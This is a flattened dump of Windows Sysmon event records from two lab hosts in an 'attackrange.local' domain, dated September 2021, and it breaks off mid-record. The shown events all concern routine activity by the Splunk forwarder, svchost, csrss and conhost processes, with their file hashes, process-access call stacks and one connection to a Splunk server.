23542300x800000000000000015820Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.026{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=04D69BEFD11CD8A9AEFC2A9F6473255A,SHA256=5CEE46514A0B9A550196CE0A29D264F1A8EE5D0C1AE3FEF820DE6A5B7AF5F919,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:31.103{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5545F704E05EAA0A2E4F853D7EB158AF,SHA256=32F00DF35707E55FA4C5A7431546DF959A3F2144A60C159580C015180FF9C2FE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:29.033{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59452-false10.0.1.12-8089- 23542300x800000000000000048175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:32.134{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=269AAD9874E71D1E4A9422B0EB1CAA19,SHA256=C86F2C42746D4D80FAAC78C815B89A21C25CC7B89247092EEF5D2153B3C003E6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015864Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.792{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1137FD9718B7FAD69A2A69B57A9EAD38,SHA256=DA4B17AA9939307D01ABD4E43752FEA7A8CABF0701795AC6A0424BBE1ABADE67,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015863Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.792{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FF55609C85DB3F552D144BFE4D699EF4,SHA256=5B55256802CCEC7AFC8A8AE1D4C47826E863C3D5EB0CC810ACDBEEE9F41201E1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015862Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71E4-613B-E404-00000000F101}2648C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015861Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015860Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015859Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015858Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015857Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015856Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015855Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015854Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015853Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015852Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-71E4-613B-E404-00000000F101}2648C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015851Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.761{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71E4-613B-E404-00000000F101}2648C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015850Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.762{625C326B-71E4-613B-E404-00000000F101}2648C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000015849Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.526{625C326B-71E4-613B-E304-00000000F101}18883236C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015848Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.261{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71E4-613B-E304-00000000F101}1888C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015847Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.261{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015846Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.261{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015845Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.261{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015844Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.261{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015843Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.261{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015842Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.261{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015841Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.261{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015840Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.261{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015839Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 